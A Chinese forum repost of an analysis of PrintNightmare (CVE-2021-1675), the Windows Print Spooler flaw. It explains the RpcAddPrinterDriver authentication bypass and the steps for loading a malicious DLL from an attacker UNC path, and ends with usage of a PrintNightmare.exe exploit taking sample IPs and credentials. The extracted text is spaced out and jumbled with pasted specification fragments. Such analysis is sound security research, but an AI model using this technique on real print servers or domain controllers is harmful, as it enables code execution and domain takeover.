搜索

[29054] 2021-07-05_【漏洞分析】PrintNightmare(CVE-2021-1675)：Windows后台处理程序服务中的远程代码执行

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2021-07-05_【漏洞分析】PrintNightmare(CVE-2021-1675)：Windows后台处理程序服务中的远程代码执行 【 漏 洞 分 析 】 P r i n t N i g h t m a r e   ( C V E - 2 0 2 1 - 1 6 7 5 ) ： W i n d o w s   后 台 处 理 程 序 服 务 中 的 远 程 代 码 执 行 O t s 安 全   2 0 2 1 - 0 7 - 0 5 点 击 上 方 蓝 字 “ O t s 安 全 ” 一 起 玩 耍 十 年 前 ， W i n d o w s   P r i n t e r   S p o o l e r   的 提 权 漏 洞 被 用 于   S t u x n e t ， 这 是 一 种 臭 名 昭 著 的 蠕 虫 ， 摧 毁 了 伊 朗 的 核 浓 缩 离 心 机 并 感 染 了   4 5 0 0 0   多 个 网 络 。 在 过 去 的 十 年 里 ， s p o o l e r   仍 然 有 层 出 不 穷 的 漏 洞 被 披 露 出 来 ， 其 中 一 些 是 不 为 世 人 所 知 的 ， 但 它 们 是 可 能 导 致 灾 难 的 隐 藏 炸 弹 。 因 此 ， 我 们 在 过 去 几 个 月 专 注 于   s p o o l e r   并 取 得 了 丰 硕 的 成 果 。 研 究 的 开 始 是   P r i n t D e m o n ， 我 们 从 中 得 到 灵 感 。 在 深 入 挖 掘 这 个 漏 洞 后 ， 我 们 找 到 了 绕 过   M S   补 丁 的 方 法 。 但 就 在 M S 发 布 新 版 本 后 ， 我 们 立 即 找 到 了 一 种 新 的 方 法 来 再 次 利 用 它 。 在   P r i n t D e m o n   的 故 事 之 后 ， 我 们 意 识 到   s p o o l e r   仍 然 是 一 个 很 好 的 攻 击 面 ， 尽 管 安 全 研 究 人 员 已 经 在   s p o o l e r   中 寻 找 漏 洞 十 多 年 了 。 我 们 开 始 探 索   P r i n t e r   S p o o l e r   的 内 部 工 作 ， 并 发 现 其 中 的 一 些   0 - d a y   B u g 。 其 中 一 些 比   P r i n t D e m o n   更 强 大 ， 更 容 易 被 利 用 ， 而 其 他 一 些 可 以 从 远 程 触 发 ， 这 可 能 导 致 远 程 代 码 执 行 。 C V E - 2 0 2 1 - 1 6 7 5   是   W i n d o w s   P r i n t   S p o o l e r   中 的 远 程 代 码 执 行 。 据   M S R C   安 全 金 条 称 ， 此 漏 洞 由 霍 志 鹏 、 P i o t r   M a d e j   和 张 云 海 报 告 。 我 们 之 前 也 发 现 了 这 个 b u g ， 希 望 能 保 密 参 加 天 府 杯   ☹ .   由 于 已 经 有 人 发 布 了   C V E - 2 0 2 1 - 1 6 7 5   的 漏 洞 利 用 视 频 。 在 这 里 ， 我 们 发 布 了 针 对 C V E - 2 0 2 1 - 1 6 7 5   的 文 章 和 漏 洞 利 用 。 有 关   W i n d o w s   S p o o l e r   中 的 更 多   R C E   和   L P E   漏 洞 ， 请 继 续 关 注 并 等 待 我 们 的   B l a c k h a t   演 讲 “ 深 入 了 解   S p o o l e r ： 发 现   W i n d o w s   打 印 机 中 的 L P E   和   R C E   漏 洞 ” 。 R p c A d d P r i n t e r D r i v e r 向 服 务 器 添 加 打 印 机 驱 动 程 序   ( R p c A d d P r i n t e r D r i v e r ) 让 我 们 检 查 一 下 关 于   R p c A d d P r i n t e r D r i v e r   调 用 的   M S - R P R N ： 打 印 系 统 远 程 协 议 。 要 将 打 印 机 驱 动 程 序 （ “ O E M   打 印 机 驱 动 程 序 ” ） 添 加 或 更 新 到 打 印 服 务 器 （ “ C O R P S E R V ” ） ， 客 户 端 （ “ T E S T C L T ” ） 执 行 以 下 步 骤 。 1 .   客 户 端 可 以 使 用   R P C   调 用   R p c A d d P r i n t e r D r i v e r   向 打 印 服 务 器 添 加 驱 动 程 序 。 2 .   客 户 端 确 保 打 印 机 驱 动 程 序 的 文 件 位 于 服 务 器 可 访 问 的 位 置 。 为 此 ， 客 户 端 可 以 共 享 包 含 文 件 的 本 地 目 录 ， 或 使 用   [ M S - S M B ]   将 文 件 放 入 服 务 器 上 的 目 录 中 3 .   然 后 客 户 端 分 配 并 填 充 一 个   D R I V E R _ I N F O _ 2   结 构 ， 如 下 所 示 ： p N a m e   =   L " O E M   打 印 机 驱 动 程 序 " ; p E n v i r o n m e n t   =   L " W i n d o w s   N T   x 8 6 " ;   / *   驱 动 兼 容 的 环 境   * / p D r i v e r P a t h   =   " C O R P S E R V C $ D R I V E R S T A G I N G O E M D R V . D L L " ; 3 1 5   /   4 1 5 [ M S - R P R N ]   -   v 2 0 2 0 0 8 2 6 打 印 系 统 远 程 协 议 版 权 所 有   ©   2 0 2 0   微 软 公 司
4 . 客 户 端 分 配 一 个   D R I V E R _ C O N T A I N E R   d r i v e r C o n t a i n e r   结 构 并 初 始 化 它 以 包 含   D R I V E R _ I N F O _ 2   结 构 。 5 . 客 户 端 调 用   R p c A d d P r i n t e r D r i v e r 。 C V E - 2 0 2 1 - 1 6 7 5   分 析 分 析 显 然 ， 如 果 攻 击 者 可 以 绕 过   R p c A d d P r i n t e r D r i v e r   的 身 份 验 证 。 他 可 以 在 打 印 服 务 器 中 安 装 恶 意 驱 动 程 序 。 在 m s d n 中 ， 客 户 端 需 要 S e L o a d D r i v e r P r i v i l e g e 来 调 用 R P C 。 然 而 ， 事 实 并 非 如 此 。 让 我 们 在 这 里 检 查 身 份 验 证 逻 辑 ： V a l i d a t e O b j e c t A c c e s s   是   S p o o l e r   S e r v i c e   的 常 规 安 全 检 查 。 但 是 在 第   1 9   行 和 第   2 0   行 中 ， 参 数   a 4   是 用 户 可 控 的 。 因 此 ， 普 通 用 户 可 以 绕 过 安 全 检 查 并 添 加 驱 动 程 序 。 如 果 您 在 域 中 ， 普 通 域 用 户 可 以 连 接 到   D C   中 的   S p o o l e r   服 务 并 在   D C   中 安 装 驱 动 程 序 。 然 后 他 就 可 以 完 全 控 制 领 域 了 。 开 发 开 发 但 真 正 的 攻 击 并 没 有 那 么 简 单 。 为 了 利 用 身 份 验 证 绕 过 漏 洞 ， 我 们 需 要 了 解 当 您 调 用   R p c A d d P r i n t e r D r i v e r   时   S p o o l e r   服 务 会 做 什 么 。 假 设 您 在 那 里 提 供 服 务 的 路 径 它 将   A 、 B   和   C   复 制 到 文 件 夹   C : W i n d o w s S y s t e m 3 2 s p o o l d r i v e r s x 6 4 3 n e w 。 然 后 它 将 它 们 复 制 到 C : W i n d o w s S y s t e m 3 2 s p o o l d r i v e r s x 6 4 3 ， 并 加 载   C : W i n d o w s S y s t e m 3 2 s p o o l d r i v e r s x 6 4 3 A . d l l   和   C : W i n d o w s S y s t e m 3 2 s p o o l d r i v e r s x 6 4 3 C . d l l   进 入   S p o o l e r   服 务 。 但 是 ， 在 最 新 版 本 中 ， S p o o l e r   将 检 查 以 确 保   A   和   C   不 是   U N C   路 径 。 但 是 由 于   B   可 以 是   U N C   路 径 ， 所 以 我 们 可 以 将   p C o n f i g F i l e   设 置 为   U N C   路 径 （ e v i l d l l ） 。 这 将 使 我 们 的   e v i l d l l   E v i l . d l l   被 复 制 到   C : W i n d o w s S y s t e m 3 2 s p o o l d r i v e r s x 6 4 3   E v i l . d l l 。 然 后 再 次 调 用   R p c A d d P r i n t e r D r i v e r ， 将   p D a t a F i l e   设 置 为   C : W i n d o w s S y s t e m 3 2 s p o o l d r i v e r s x 6 4 3 E v i l . d l l 。 它 将 加 载 我 们 的 邪 恶   d l l 。 不 幸 的 是 ， 它 不 起 作 用 。 因 为 如 果 你 在 文 件 夹 C : W i n d o w s S y s t e m 3 2 s p o o l d r i v e r s x 6 4 3 中 设 置 了 A 、 B 、 C 。 文 件 复 制 会 出 现 访 问 冲 突 。 为 了 绕 过 这 个 ， 我 们 需 要 使 用 驱 动 程 序 升 级 的 备 份 版 权 所 有   ©   2 0 2 0   微 软 公 司 发 布 时 间 ： 2 0 2 0   年   8   月   2 6   日 p D a t a F i l e   =   " C O R P S E R V C $ D R I V E R S T A G I N G O E M D A T A . D L L " ; p C o n f i g F i l e   =   " C O R P S E R V C $ D R I V E R S T A G I N G O E M U I . D L L " ; R p c A d d P r i n t e r D r i v e r (   L " C O R P S E R V " ,   & d r i v e r C o n t a i n e r   ) ; p D a t a F i l e   = A . d l l p C o n f i g F i l e   = a t t a c k e r i p E v i l . d l l p D r i v e r P a t h = C . d l l
功 能 。 如 果 我 们 升 级 某 些 驱 动 程 序 ， 旧 版 本 将 备 份 到   C : W i n d o w s S y s t e m 3 2 s p o o l d r i v e r s x 6 4 3 o l d 1   文 件 夹 中 。 然 后 我 们 可 以 绕 过 访 问 冲 突 并 成 功 将 我 们 的   e v i l . d l l   注 入 到   s p o o l e r   服 务 中 。 成 功 加 载 我 们 的 d l l ： 用 法 用 法 在   w i n d o w s   服 务 器 上 测 试   2 0 1 9   1 8 0 9   1 7 7 6 3 . 1 5 1 8 影 响 影 响 该 漏 洞 可 用 于 实 现   L P E   和   R C E 。 至 于   R C E   部 分 ， 您 需 要 一 个 用 户 在   S p o o l e r   服 务 上 进 行 身 份 验 证 。 但 是 ， 这 在 域 环 境 中 仍 然 很 重 要 。 由 于 通 常   D C   会 启 用   S p o o l e r   服 务 ， 因 此 被 入 侵 的 域 用 户 可 能 会 利 用 此 漏 洞 来 控 制   D C 。 . P r i n t N i g h t m a r e . e x e   d c _ i p   p a t h _ t o _ e x p   u s e r _ n a m e   p a s s w o r d E x a m p l e : . P r i n t N i g h t m a r e . e x e   1 9 2 . 1 6 8 . 5 . 1 2 9   1 9 2 . 1 6 8 . 5 . 1 9 7 t e s t M y E x p l o i t . d l l   u s e r 2   t e s t 1 2 3 # #
这 里 有 更 多 隐 藏 在   S p o o l e r   中 的 炸 弹 ， 这 是 不 公 开 的 。 我 们 将 分 享 更 多   W i n d o w s   S p o o l e r   中 的   R C E   和   L P E   漏 洞 ， 请 继 续 关 注 并 等 待 我 们 的 B l a c k h a t   演 讲 “ 深 入 了 解   S p o o l e r ： 发 现   W i n d o w s   打 印 机 中 的   L P E   和   R C E   漏 洞 ” 。 原 文 链 接 ： h t t p s : / / g i t h u b . c o m / a f w u / P r i n t N i g h t m a r e 所 有 文 章 点 击 阅 读 原 文 均 可 阅 读 原 文 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理